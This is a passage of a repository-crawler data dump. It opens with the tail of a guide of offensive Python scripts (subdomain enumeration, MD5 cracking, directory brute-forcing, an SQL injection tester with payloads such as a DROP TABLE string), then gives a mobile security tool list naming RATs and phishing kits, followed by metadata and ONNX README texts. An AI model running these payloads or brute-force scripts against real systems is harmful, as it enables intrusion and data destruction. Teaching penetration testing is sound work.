dns.resolver.resolve(f\"{subdomain}.{domain}\", 'A')\n for answer in answers:\n return subdomain, str(answer)\n except:\n return None\n\ndef enumerate_subdomains(domain, wordlist):\n found = []\n with open(wordlist, 'r') as f:\n subdomains = [line.strip() for line in f]\n \n with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:\n futures = {executor.submit(check_subdomain, sub, domain): sub for sub in subdomains}\n for future in concurrent.futures.as_completed(futures):\n result = future.result()\n if result:\n subdomain, ip = result\n print(f\"[+] Found: {subdomain}.{domain} -> {ip}\")\n found.append(result)\n return found\n```\n\n### Password Cracker\n\n```python\nimport hashlib\n\ndef crack_md5(hash_to_crack, wordlist):\n with open(wordlist, 'r', encoding='latin-1') as f:\n for line in f:\n password = line.strip()\n hash_attempt = hashlib.md5(password.encode()).hexdigest()\n if hash_attempt == hash_to_crack:\n return password\n return None\n\n# Usage\ntarget_hash = \"5f4dcc3b5aa765d61d8327deb882cf99\" # password\nresult = crack_md5(target_hash, 'passwords.txt')\nif result:\n print(f\"[+] Password found: {result}\")\n```\n\n### Web Directory Brute Force\n\n```python\nimport requests\nimport concurrent.futures\n\ndef check_directory(base_url, directory):\n url = f\"{base_url}/{directory}\"\n try:\n response = requests.get(url, timeout=2)\n if response.status_code != 404:\n return url, response.status_code\n except:\n pass\n return None\n\ndef brute_directories(base_url, wordlist):\n found = []\n with open(wordlist, 'r') as f:\n directories = [line.strip() for line in f]\n \n with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:\n futures = {executor.submit(check_directory, base_url, dir): dir for dir in directories}\n for future in concurrent.futures.as_completed(futures):\n result = future.result()\n if result:\n url, status = result\n print(f\"[+] Found: {url} (Status: {status})\")\n found.append(result)\n return found\n\n# Usage\nbrute_directories(\"https://example.com\", \"directories.txt\")\n```\n\n### SQL Injection Tester\n\n```python\nimport requests\n\ndef test_sql_injection(url, parameter, payloads):\n vulnerable = []\n for payload in payloads:\n test_url = f\"{url}?{parameter}={payload}\"\n try:\n response = requests.get(test_url, timeout=5)\n if any(error in response.text.lower() for error in ['sql', 'mysql', 'syntax', 'database']):\n print(f\"[!] Potential SQLi: {payload}\")\n vulnerable.append(payload)\n except:\n pass\n return vulnerable\n\n# Usage\nsql_payloads = [\"'\", \"1' OR '1'='1\", \"1; DROP TABLE users--\"]\ntest_sql_injection(\"http://example.com/search\", \"q\", sql_payloads)\n```\n\n## Resources\n\n- [Python Documentation](https://docs.python.org/3/)\n- [Real Python](https://realpython.com/)\n- [Python for Cybersecurity](https://www.packtpub.com/product/python-for-cybersecurity/9781789138550)\n- [Violent Python](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6)\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"41CE:3E1C8:1777A3:5C8680:6AB9203F"},"text_sha256":"22520f35663afa426cce00f8cecbd4d1a00b56423077151aaa5d50eb124b40f1"},{"path":"training-reference/organized-tools/mobile-security_tools.md","size":14486,"blob_sha":"7f58e0f7f3b73b51d631233e26fdcee739e671c6","priority":1,"status":200,"text":"# Mobile Security Tools\n\nThe following tools are organized for this category:\n\n---\n\n- [ADB-Toolkit - Tool for testing your Android device](http://feedproxy.google.com/~r/PentestTools/~3/9UFrHzThs_s/adb-toolkit-tool-for-testing-your.html)\n- [ANDRAX v3 - The First And Unique Penetration Testing Platform For Android Smartphones](http://feedproxy.google.com/~r/PentestTools/~3/3jIpU7zeiJg/andrax-v3-first-and-unique-penetration.html)\n- [ANDRAX v5R NH-Killer - Penetration Testing on Android](http://feedproxy.google.com/~r/PentestTools/~3/hIKv1ToZEMQ/andrax-v5r-nh-killer-penetration.html)\n- [APKHunt - Comprehensive Static Code Analysis Tool For Android Apps That Is Based On The OWASP MASVS Framework](http://www.kitploit.com/2023/02/apkhunt-comprehensive-static-code.html)\n- [APKLab - Android Reverse Engineering WorkBench For VS Code](http://feedproxy.google.com/~r/PentestTools/~3/xTftfJ4sHT0/apklab-android-reverse-engineering.html)\n- [Allsafe - Intentionally Vulnerable Android Application](http://feedproxy.google.com/~r/PentestTools/~3/v6pzEapdvOk/allsafe-intentionally-vulnerable.html)\n- [Android-PIN-Bruteforce - Unlock An Android Phone (Or Device) By Bruteforcing The Lockscreen PIN](http://feedproxy.google.com/~r/PentestTools/~3/s51KORysdVA/android-pin-bruteforce-unlock-android.html)\n- [Android_Hid - Use Android As Rubber Ducky Against Another Android Device](http://feedproxy.google.com/~r/PentestTools/~3/ATCWoFITtd8/androidhid-use-android-as-rubber-ducky.html)\n- [Androidqf - (Android Quick Forensics) Helps Quickly Gathering Forensic Evidence From Android Devices, In Order To Identify Potential Traces Of Compromise](http://feedproxy.google.com/~r/PentestTools/~3/OH942WoxeqE/androidqf-android-quick-forensics-helps.html)\n- [Androwarn - Yet Another Static Code Analyzer For Malicious Android Applications](http://feedproxy.google.com/~r/PentestTools/~3/CXJc4Zacvso/androwarn-yet-another-static-code.html)\n- [Apk-Medit - Memory Search And Patch Tool On Debuggable Apk Without Root & Ndk](http://feedproxy.google.com/~r/PentestTools/~3/fpYnRfgN1ng/apk-medit-memory-search-and-patch-tool.html)\n- [Apk.Sh - Makes Reverse Engineering Android Apps Easier, Automating Some Repetitive Tasks Like Pulling, Decoding, Rebuilding And Patching An APK](http://www.kitploit.com/2023/03/apksh-makes-reverse-engineering-android.html)\n- [ApkLeaks - Scanning APK File For URIs, Endpoints And Secrets](http://feedproxy.google.com/~r/PentestTools/~3/cjv6czeOzl4/apkleaks-scanning-apk-file-for-uris.html)\n- [Appshark - Static Taint Analysis Platform To Scan Vulnerabilities In An Android App](http://www.kitploit.com/2022/11/appshark-static-taint-analysis-platform.html)\n- [Arbitrium-RAT - A Cross-Platform, Fully Undetectable Remote Access Trojan, To Control Android, Windows And Linux](http://feedproxy.google.com/~r/PentestTools/~3/xdcn42mgUxo/arbitrium-rat-cross-platform-fully.html)\n- [Arcane - A Simple Script Designed To Backdoor iOS Packages (Iphone-Arm) And Create The Necessary Resources For APT Repositories](http://feedproxy.google.com/~r/PentestTools/~3/6dNxma-yOxI/arcane-simple-script-designed-to.html)\n- [Arkhota - A Web Brute Forcer For Android](http://feedproxy.google.com/~r/PentestTools/~3/m46SF2LteWU/arkhota-web-brute-forcer-for-android.html)\n- [CiLocks - Android LockScreen Bypass](http://feedproxy.google.com/~r/PentestTools/~3/TwRx8lZsEI8/cilocks-android-lockscreen-bypass.html)\n- [Damn-Vulnerable-Bank - Vulnerable Banking Application For Android](http://feedproxy.google.com/~r/PentestTools/~3/2Miq4-7C-C8/damn-vulnerable-bank-vulnerable-banking.html)\n- [Dockerized-Android - A Container-Based Framework To Enable The Integration Of Mobile Components In Security Training Platforms](http://feedproxy.google.com/~r/PentestTools/~3/SCuXI_UPSk4/dockerized-android-container-based.html)\n- [Dr. Memory - Memory Debugger For Windows, Linux, Mac, And Android](http://feedproxy.google.com/~r/PentestTools/~3/2A801pnMhqk/dr-memory-memory-debugger-for-windows.html)\n- [DroidDetective - A Machine Learning Malware Analysis Framework For Android Apps](http://www.kitploit.com/2022/05/droiddetective-machine-learning-malware.html)\n- [DroidFiles - Get Files From Android Directories](http://feedproxy.google.com/~r/PentestTools/~3/5OCoXRwNFdM/droidfiles-get-files-from-android.html)\n- [DroidTracker - Script To Generate An Android App To Track Location In Real Time](http://feedproxy.google.com/~r/PentestTools/~3/5fV3zbDoT-I/droidtracker-script-to-generate-android.html)\n- [Dwarf - Full Featured Multi Arch/Os Debugger Built On Top Of PyQt5 And Frida](http://feedproxy.google.com/~r/PentestTools/~3/oR5kYVz0iVo/dwarf-full-featured-multi-archos.html)\n- [EVABS - Extremely Vulnerable Android Labs](http://feedproxy.google.com/~r/PentestTools/~3/WaMsoBOGlrA/evabs-extremely-vulnerable-android-labs.html)\n- [EvilApp - Phishing Attack Using An Android App To Grab Session Cookies For Any Website (ByPass 2FA)](http://feedproxy.google.com/~r/PentestTools/~3/4q8G1KztMgY/evilapp-phishing-attack-using-android.html)\n- [FAMA - Forensic Analysis For Mobile Apps](http://feedproxy.google.com/~r/PentestTools/~3/t4Bql1kSR7Y/fama-forensic-analysis-for-mobile-apps.html)\n- [FRIDA-DEXDump - Fast Search And Dump Dex On Memory](http://feedproxy.google.com/~r/PentestTools/~3/PopMEkBIBlE/frida-dexdump-fast-search-and-dump-dex.html)\n- [FireStorePwn - Firestore Database Vulnerability Scanner Using APKs](http://feedproxy.google.com/~r/PentestTools/~3/MBLBoxNY2DI/firestorepwn-firestore-database.html)\n- [Frida-Ios-Hook - A Tool That Helps You Easy Trace Classes, Functions, And Modify The Return Values Of Methods On iOS Platform](http://www.kitploit.com/2022/05/frida-ios-hook-tool-that-helps-you-easy.html)\n- [Fsmon - Monitor Filesystem On iOS / OS X / Android / FirefoxOS / Linux](http://feedproxy.google.com/~r/PentestTools/~3/JWYXGMKRJYw/fsmon-monitor-filesystem-on-ios-os-x.html)\n- [GDA Android Reversing Tool - A New Decompiler Written Entirely In C++, So It Does Not Rely On The Java Platform, Which Is Succinct, Portable And Fast, And Supports APK, DEX, ODEX, Oat](http://feedproxy.google.com/~r/PentestTools/~3/d0P7zuioR8E/gda-android-reversing-tool-new.html)\n- [GameGuardian - Android Game Hack/Alteration Tool](http://feedproxy.google.com/~r/PentestTools/~3/6ReYL4igg7Q/gameguardian-android-game.html)\n- [Ghidra_Kernelcache - A Ghidra Framework For iOS Kernelcache Reverse Engineering](http://feedproxy.google.com/~r/PentestTools/~3/pgjsv_S6L_E/ghidrakernelcache-ghidra-framework-for.html)\n- [Hacktronian - All In One Hacking Tool For Linux & Android](http://feedproxy.google.com/~r/PentestTools/~3/yV_fdYg2NkU/hacktronian-all-in-one-hacking-tool-for.html)\n- [Hackuna - The First Mobile App to Track Hackers](http://feedproxy.google.com/~r/PentestTools/~3/DMmt1Y2sd_A/hackuna-first-mobile-app-to-track.html)\n- [Haxx - Untethered + Unsandboxed Code Execution Haxx As Root On iOS 14 - iOS 14.8.1](http://www.kitploit.com/2022/07/haxx-untethered-unsandboxed-code.html)\n- [HiddenEye - Modern Phishing Tool With Advanced Functionality (Android-Support-Available)](http://feedproxy.google.com/~r/PentestTools/~3/GTRsshv5Lcs/hiddeneye-modern-phishing-tool-with.html)\n- [HosTaGe - Low Interaction Mobile Honeypot](http://feedproxy.google.com/~r/PentestTools/~3/q7jGTsi3b70/hostage-low-interaction-mobile-honeypot.html)\n- [IOSSecuritySuite - iOS Platform Security And Anti-Tampering Swift Library](http://www.kitploit.com/2022/04/iossecuritysuite-ios-platform-security.html)\n- [InjuredAndroid - A Vulnerable Android Application That Shows Simple Examples Of Vulnerabilities In A CTF Style](http://feedproxy.google.com/~r/PentestTools/~3/AlIo6dS7vnA/injuredandroid-vulnerable-android.html)\n- [Kali NetHunter App Store - The New Android Store Dedicated to Free Security Apps](http://feedproxy.google.com/~r/PentestTools/~3/FpkbVd5aohk/kali-nethunter-app-store-new-android.html)\n- [KoodousFinder - A Simple Tool To Allows Users To Search For And Analyze Android Apps For Potential Security Threats And Vulnerabilities](https://www.kitploit.com/2023/05/koodousfinder-simple-tool-to-allows.html)\n- [LiveHiddenCamera - Library Which Record Live Video And Audio From Android Device Without Displaying A Preview](http://feedproxy.google.com/~r/PentestTools/~3/F4Bo_N9vCsw/livehiddencamera-library-which-record.html)\n- [Lockphish - A Tool For Phishing Attacks On The Lock Screen, Designed To Grab Windows Credentials, Android PIN And iPhone Passcode](http://feedproxy.google.com/~r/PentestTools/~3/Xl9LNG1vR24/lockphish-tool-for-phishing-attacks-on.html)\n- [Lockphish - The First Tool For Phishing Attacks On The Lock Screen, Designed To Grab Windows Credentials, Android PIN And iPhone Passcode](http://feedproxy.google.com/~r/PentestTools/~3/Plvy_Rl1lWA/lockphish-first-tool-for-phishing.html)\n- [MEAT - This Toolkit Aims To Help Forensicators Perform Different Kinds Of Acquisitions On iOS Devices](http://feedproxy.google.com/~r/PentestTools/~3/tBxfj4OX5ww/meat-this-toolkit-aims-to-help.html)\n- [MEDUZA - A More Or Less Universal SSL Unpinning Tool For iOS](http://feedproxy.google.com/~r/PentestTools/~3/2cKyd7r_Vs8/meduza-more-or-less-universal-ssl.html)\n- [Mariana Trench - Security Focused Static Analysis Tool For Android And Java Applications](http://www.kitploit.com/2021/12/mariana-trench-security-focused-static.html)\n- [MobileAudit - SAST and Malware Analysis for Android Mobile APKs](http://feedproxy.google.com/~r/PentestTools/~3/e9v2Qwc0eu4/mobileaudit-sast-and-malware-analysis.html)\n- [MobileHackersWeapons - Mobile Hacker's Weapons / A Collection Of Cool Tools Used By Mobile Hackers](http://feedproxy.google.com/~r/PentestTools/~3/oKmIKzGsibw/mobilehackersweapons-mobile-hackers.html)\n- [NFCGate - An NFC Research Toolkit Application For Android](http://feedproxy.google.com/~r/PentestTools/~3/ZyjlJyXcqXg/nfcgate-nfc-research-toolkit.html)\n- [Nanobrok - Web Service For Control And Protect Your Android Device Remotely](http://www.kitploit.com/2021/11/nanobrok-web-service-for-control-and.html)\n- [NinjaDroid - Ninja Reverse Engineering On Android APK Packages](http://feedproxy.google.com/~r/PentestTools/~3/A8IxFPEBMBc/ninjadroid-ninja-reverse-engineering-on.html)\n- [Obfuscapk - A Black-Box Obfuscation Tool For Android Apps](http://feedproxy.google.com/~r/PentestTools/~3/FL9KaM-xfFs/obfuscapk-black-box-obfuscation-tool.html)\n- [Objection v1.6.6 - Runtime Mobile Exploration](http://feedproxy.google.com/~r/PentestTools/~3/_lHkwuwDics/objection-v166-runtime-mobile.html)\n- [Pretender - Your MitM Sidekick For Relaying Attacks Featuring DHCPv6 DNS Takeover As Well As mDNS, LLMNR And NetBIOS-NS Spoofing](http://www.kitploit.com/2022/07/pretender-your-mitm-sidekick-for.html)\n- [Quark-Engine - An Obfuscation-Neglect Android Malware Scoring System](http://feedproxy.google.com/~r/PentestTools/~3/utzP6iBfGHg/quark-engine-obfuscation-neglect.html)\n- [Rafel-Rat - Android Rat Written In Java With WebPanel For Controlling Victims](http://feedproxy.google.com/~r/PentestTools/~3/bMMoyRB9IpU/rafel-rat-android-rat-written-in-java.html)\n- [Runtime Mobile Security (RMS) - A Powerful Web Interface That Helps You To Manipulate Android Java Classes And Methods At Runtime](http://feedproxy.google.com/~r/PentestTools/~3/5no21xQboKw/runtime-mobile-security-rms-powerful.html)\n- [Ruse - Mobile Camera-Based Application That Attempts To Alter Photos To Preserve Their Utility To Humans While Making Them Unusable For Facial Recognition Systems](http://feedproxy.google.com/~r/PentestTools/~3/bOKl7xd6tZY/ruse-mobile-camera-based-application.html)\n- [Scrcpy - Display And Control Your Android Device](http://www.kitploit.com/2022/11/scrcpy-display-and-control-your-android.html)\n- [Simplify - Generic Android Deobfuscator](http://feedproxy.google.com/~r/PentestTools/~3/0TKRmeyRmf8/simplify-generic-android-deobfuscator.html)\n- [Slicer - Tool To Automate The Boring Process Of APK Recon](http://www.kitploit.com/2022/11/slicer-tool-to-automate-boring-process.html)\n- [Syhunt Community 6.7 - Web And Mobile Application Scanner](http://feedproxy.google.com/~r/PentestTools/~3/LCuYj1U9fus/syhunt-community-67-web-and-mobile.html)\n- [Truegaze - Static Analysis Tool For Android/iOS Apps Focusing On Security Issues Outside The Source Code](http://feedproxy.google.com/~r/PentestTools/~3/UP7CEeZKDqo/truegaze-static-analysis-tool-for.html)\n- [UEFI Firmware Parser - Parse BIOS/Intel ME/UEFI Firmware Related Structures: Volumes, FileSystems, Files, Etc](http://feedproxy.google.com/~r/PentestTools/~3/vrw7ce1SeJ0/uefi-firmware-parser-parse-biosintel.html)\n- [Umbrella_android - Digital And Physical Security Advice App](http://feedproxy.google.com/~r/PentestTools/~3/4VOlWJ1W13I/umbrellaandroid-digital-and-physical.html)\n- [Unicorn-Bios - Basic BIOS Emulator For Unicorn Engine](http://feedproxy.google.com/~r/PentestTools/~3/a1iJIC1mmaw/unicorn-bios-basic-bios-emulator-for.html)\n- [UserLAnd - The Easiest Way To Run A Linux Distribution or Application on Android](http://feedproxy.google.com/~r/PentestTools/~3/Z6GCKCBT-sI/userland-easiest-way-to-run-linux.html)\n- [VECTR - A Tool That Facilitates Tracking Of Your Red And Blue Team Testing Activities To Measure Detection And Prevention Capabilities Across Different Attack Scenarios](http://feedproxy.google.com/~r/PentestTools/~3/W7FX4P3lR1A/vectr-tool-that-facilitates-tracking-of.html)\n- [Vulners Scanner for Android - Passive Vulnerability Scanning Based On Software Version Fingerprint](http://feedproxy.google.com/~r/PentestTools/~3/jjXLZCER0Bk/vulners-scanner-for-android-passive.html)\n- [WiGLE - Wifi Wardriving (Nethugging Client For Android)](http://feedproxy.google.com/~r/PentestTools/~3/gDQEZOV06DY/wigle-wifi-wardriving-nethugging-client.html)\n- [Xnuspy - An iOS Kernel Function Hooking Framework For Checkra1N'Able Devices](http://feedproxy.google.com/~r/PentestTools/~3/7HpFfxxKZd4/xnuspy-ios-kernel-function-hooking.html)\n- [iOS Malicious Bit Hunter - A Malicious Plug-In Detection Eng ine For iOS Applications](http://feedproxy.google.com/~r/PentestTools/~3/l1tPy6s_Yvo/ios-malicious-bit-hunter-malicious-plug.html)\n- [pwnSpoof - Generates realistic spoofed log files for common web servers with customisable attack scenarios](http://www.kitploit.com/2021/11/pwnspoof-generates-realistic-spoofed.html)\n- [vAPI - Vulnerable Adversely Programmed Interface Which Is Self-Hostable API That Mimics OWASP API Top 10 Scenarios Through Exercises](http://www.kitploit.com/2022/04/vapi-vulnerable-adversely-programmed.html)\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"2920:2C474:179550:5CA52F:6AB92040"},"text_sha256":"c7276fa3fd62605c7f641e5561cc4e6bada668eb1b6b79fdaee63318f919b61d"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":1,"score":0,"D1_evidence":"sha=e4db7367a981679f1b0aaef759562bb35b5b9f4f; file=ai/ai-security/ai_security_tools_root.md; text=[jailbreak-evaluation]( ) ## Prompt Firewall and Redaction _Products that intercept prompts and responses and apply security or privacy rules to them. We've blended two categories here because some prompt firewalls just redact private data (and then reidentify in the response) while others focus on identifying and blocking attacks like injection attacks or stopping data leaks. Many of the products in this category do all of the above, which is why they've been combined._ - [Cisco AI Defense]( ) - Model Evaluation, monitoring, guardrails, inventory, AI asset discovery, and more. - [Robust Inte","note":"Classificação semantic-conservative-2026-09-c1-c4-r2 por evidência textual contextualizada.","evidence":[]}}}
{"repository":"onnx/onnx","input_row":{"repository":"onnx/onnx","url":"https://github.com/onnx/onnx","name":"onnx","owner":"onnx","description":"Open standard for machine learning interoperability","language":"Python","license_spdx_id":"Apache-2.0","license_name":"Apache License 2.0","license_osi_approved":"true","stars":21532,"issues":3189,"created_at":"2017-09-07T04:53:45Z","updated_at":"2026-09-27T07:21:29Z","first_commit_at":"2017-09-07T04:47:53Z","last_commit_at":"2026-09-27T07:21:24Z","activity_months":108.64,"ai_ml_match_topics":"artificial-intelligence; deep-learning; machine-learning; neural-network","has_pre_gdpr_activity":"true","has_post_gdpr_activity":"true"},"source_sha256":"30540b1c1bcd94f5b9afc0a77f92a103e83c7388aa09907a99e786e7ffc32a11","collector_protocol_version":"open-source-no-size-limit-expanded-topics-2026-09","observed_at":"2026-09-27T14:27:34.277Z","accessibility":{"http_status":200,"accessible":true,"metadata":{"full_name":"onnx/onnx","visibility":"public","created_at":"2017-09-07T04:53:45Z","updated_at":"2026-09-27T07:21:29Z","private":false,"fork":false,"archived":false,"stargazers_count":21532,"open_issues_count":241,"license_spdx_id":"Apache-2.0","license_name":"Apache License 2.0"},"error":"","rate":{"github_remaining":"3579","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"53E7:74E6D:17E1FF1:1BFFD82:6AB927D6"}},"pre":{"until":"2018-05-24T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3578","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0870:724D2:17ACAC4:1BCA45F:6AB927D6"},"commit":{"sha":"8236f49124dc0a37b8c33da2b8f962183c2c393e","url":"https://github.com/onnx/onnx/commit/8236f49124dc0a37b8c33da2b8f962183c2c393e","date":"2018-05-24T23:00:11Z","author_date":"2018-05-24T23:00:11Z","committer_date":"2018-05-24T23:00:11Z","tree_sha":"b3f7c3990af088e4af62d3da00defac96ad8c7e5","message_first_line":"Kezhan/update manifest (#1029)"},"tree_request_status":200,"tree_rate":{"github_remaining":"3577","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0838:1C46F8:17A233A:1BBF1EE:6AB927D7"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":4603,"blob_sha":"958df5b81a6b20d53d15c4a73e46a801c2777679","priority":0}],"documents":[{"path":"README.md","size":4603,"blob_sha":"958df5b81a6b20d53d15c4a73e46a801c2777679","priority":0,"status":200,"text":"\n![](\"docs/ONNX_logo_main.png\"){kind=logo}
<\/p>\n \n| Linux | Windows |\n|-------|---------|\n| [](https://travis-ci.org/onnx/onnx) | [](https://ci.appveyor.com/project/onnx/onnx) |\n\n[Open Neural Network Exchange (ONNX)](http://onnx.ai) is the first step toward an open ecosystem that empowers AI developers\nto choose the right tools as their project evolves. ONNX provides an open source format for AI models.\nIt defines an extensible computation graph model, as well as definitions of built-in operators and standard\ndata types. Initially we focus on the capabilities needed for inferencing (evaluation).\n\nCaffe2, PyTorch, Microsoft Cognitive Toolkit, Apache MXNet and other tools are developing ONNX support. Enabling interoperability between different\nframeworks and streamlining the path from research to production will increase the speed of innovation in\nthe AI community. We are an early stage and we invite the community to submit feedback and help us further\nevolve ONNX.\n\n# Use ONNX\nStart experimenting today:\n* [Getting Started Guide](http://onnx.ai/getting-started)\n* [Supported Frameworks & Tools](http://onnx.ai/supported-tools)\n* [Tutorials on using ONNX converters](https://github.com/onnx/tutorials).\n\n# Learn about ONNX spec\n\nCheck ONNX design choices and internals:\n* [Overview](docs/Overview.md)\n* [ONNX intermediate representation spec](docs/IR.md)\n* [Versioning principles of the spec](docs/Versioning.md)\n* [Operators documentation](docs/Operators.md)\n* [Python API Overview](docs/PythonAPIOverview.md)\n\n# Tools\n* [Netron: a viewer for ONNX models](https://github.com/lutzroeder/Netron)\n* [Net Drawer ONNX vizualizer](https://github.com/onnx/tutorials/blob/master/tutorials/VisualizingAModel.md)\n\n# Contribute\nONNX is a community project. We encourage you to join the effort and contribute feedback, ideas, and code.\nYou can join [one of the working groups](https://github.com/onnx/onnx/wiki/%5BAnnouncement%5D-ONNX-working-groups-established) and help shape the future of ONNX.\n\nCheck out our [contribution guide](https://github.com/onnx/onnx/blob/master/docs/CONTRIBUTING.md)\nand [call for contributions](https://github.com/onnx/onnx/issues/426) to get started.\n\n# Discuss\nWe encourage you to open [Issues](https://github.com/onnx/onnx/issues), or use Gitter for more real-time discussion:\n[](https://gitter.im/onnx/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)\n\n# Follow Us\nStay up to date with the latest ONNX news. [[Facebook](https://www.facebook.com/onnxai/)] [[Twitter](https://twitter.com/onnxai)]\n\n\n\n\n\n\n# Installation\n\n## Binaries\n\nA binary build of ONNX is available from [Conda](https://conda.io), in [conda-forge](https://conda-forge.org/):\n\n```\nconda install -c conda-forge onnx\n```\n\n## Source\n\nYou will need an install of protobuf and numpy to build ONNX. One easy\nway to get these dependencies is via\n[Anaconda](https://www.anaconda.com/download/):\n\n```\n# Use conda-forge protobuf, as default doesn't come with protoc\nconda install -c conda-forge protobuf numpy\n```\n\nYou can then install ONNX from PyPi (Note: Set environment variable `ONNX_ML=1` for onnx-ml):\n\n```\npip install onnx\n```\n\nYou can also build and install ONNX locally from source code (git clone https://github.com/onnx/onnx.git):\n\n```\npython setup.py install\n```\n\nNote: When installing in a non-Anaconda environment, make sure to install the Protobuf compiler before running the pip installation of onnx. For example, on Ubuntu:\n\n```\nsudo apt-get install protobuf-compiler libprotoc-dev\npip install onnx\n```\n\nAfter installation, run\n\n```\npython -c \"import onnx\"\n```\n\nto verify it works. Note that this command does not work from\na source checkout directory; in this case you'll see:\n\n```\nModuleNotFoundError: No module named 'onnx.onnx_cpp2py_export'\n```\n\nChange into another directory to fix this error.\n\n# Testing\n\nONNX uses [pytest](https://docs.pytest.org) as test driver. In order to run tests, first you need to install pytest:\n\n```\npip install pytest-cov nbval\n```\n\nAfter installing pytest, do\n\n```\npytest\n```\n\nto run tests.\n\n# Development\n\nCheck out [contributor guide](https://github.com/onnx/onnx/blob/master/docs/CONTRIBUTING.md) for instructions.\n\n# License\n\n[MIT License](LICENSE)\n\n# Code of Conduct\n\n[ONNX Open Source Code of Conduct](http://onnx.ai/codeofconduct.html)\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"6F9E:3EACB:172FF3:5C4033:6AB92044"},"text_sha256":"0759e6842dbdd8ed71bc21dfc5ce5322d195f0eadd59ba21c47e8362ee620423"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}},"post":{"until":"2026-06-30T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3576","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"083C:DC698:17D598B:1BF2AB9:6AB927D8"},"commit":{"sha":"8fba37cf78f95bc759a2ba978be5a5b9007f0af5","url":"https://github.com/onnx/onnx/commit/8fba37cf78f95bc759a2ba978be5a5b9007f0af5","date":"2026-06-30T15:42:05Z","author_date":"2026-06-30T15:42:05Z","committer_date":"2026-06-30T15:42:05Z","tree_sha":"f0daeea4816c41a73d7595b5f2b7b827fb60ea77","message_first_line":"Give a clear error for unknown ops in the version converter (#8117)"},"tree_request_status":200,"tree_rate":{"github_remaining":"3575","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0780:6C6ED:17CD4F4:1BEA8BD:6AB927D8"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":7871,"blob_sha":"24b9fa4e08486639e63daf26bc266abc5e5da591","priority":0},{"path":"docs/Security.md","size":10846,"blob_sha":"1d114560892647c9684427e8cd0ecbc436bec56a","priority":1},{"path":"SECURITY.md","size":2819,"blob_sha":"9cd1c404d3423ed98932390d4bd38bf943f271cb","priority":1}],"documents":[{"path":"README.md","size":7871,"blob_sha":"24b9fa4e08486639e63daf26bc266abc5e5da591","priority":0,"status":200,"text":"\n\n
An AI Commons<\/b> project https://commons.specpal.science <\/a><\/p>\n![](\"https://github.com/onnx/onnx/raw/main/docs/onnx-horizontal-color.png\")
<\/p>\n\n[](https://pypi.org/project/onnx)\n[](https://github.com/onnx/onnx/actions/workflows/main.yml)\n[](https://bestpractices.coreinfrastructure.org/projects/3313)\n[](https://api.securityscorecards.dev/projects/github.com/onnx/onnx)\n[](https://slsa.dev)\n[](https://api.reuse.software/info/github.com/onnx/onnx)\n[](https://github.com/astral-sh/ruff)\n[](https://docs.python.org/3/c-api/stable.html)\n\n[Open Neural Network Exchange (ONNX)](https://onnx.ai) is an open ecosystem that empowers AI developers\nto choose the right tools as their project evolves. ONNX provides an open source format for AI models, both deep learning and traditional ML. It defines an extensible computation graph model, as well as definitions of built-in operators and standard\ndata types. Currently we focus on the capabilities needed for inferencing (scoring).\n\nONNX is [widely supported](http://onnx.ai/supported-tools) and can be found in many frameworks, tools, and hardware. Enabling interoperability between different frameworks and streamlining the path from research to production helps increase the speed of innovation in the AI community. We invite the community to join us and further evolve ONNX.\n\n\n# Use ONNX\n\n* [Documentation of ONNX Python Package](https://onnx.ai/onnx/)\n* [Tutorials for creating ONNX models](https://github.com/onnx/tutorials)\n* [Pre-trained ONNX models](https://github.com/onnx/models)\n\n# Learn about the ONNX spec\n\n* [Overview](https://github.com/onnx/onnx/blob/main/docs/Overview.md)\n* [ONNX intermediate representation spec](https://github.com/onnx/onnx/blob/main/docs/IR.md)\n* [Versioning principles of the spec](https://github.com/onnx/onnx/blob/main/docs/Versioning.md)\n* [Operators documentation](https://github.com/onnx/onnx/blob/main/docs/Operators.md)\n* [Operators documentation](https://onnx.ai/onnx/operators/index.html) (latest release)\n* [Python API Overview](https://github.com/onnx/onnx/blob/main/docs/PythonAPIOverview.md)\n\n# Programming utilities for working with ONNX Graphs\n\n* [Shape and Type Inference](https://github.com/onnx/onnx/blob/main/docs/ShapeInference.md)\n* [Graph Optimization](https://github.com/onnx/optimizer)\n* [Opset Version Conversion](https://github.com/onnx/onnx/blob/main/docs/docsgen/source/api/version_converter.md)\n\n# Contribute\n\nONNX is a community project and the open governance model is described [here](https://github.com/onnx/onnx/blob/main/community/readme.md). We encourage you to join the effort and contribute feedback, ideas, and code. You can participate in the [Special Interest Groups](https://github.com/onnx/onnx/blob/main/community/sigs.md) and [Working Groups](https://github.com/onnx/onnx/blob/main/community/working-groups.md) to shape the future of ONNX.\n\nCheck out our [contribution guide](https://github.com/onnx/onnx/blob/main/CONTRIBUTING.md) to get started.\n\nIf you think some operator should be added to ONNX specification, please read\n[this document](https://github.com/onnx/onnx/blob/main/docs/AddNewOp.md).\n\n# Community meetings\n\nThe schedules of the regular meetings of the Steering Committee, the working groups and the SIGs can be found [here](https://onnx.ai/calendar)\n\nCommunity Meetups are held at least once a year. Content from previous community meetups are at:\n\n* 2020.04.09
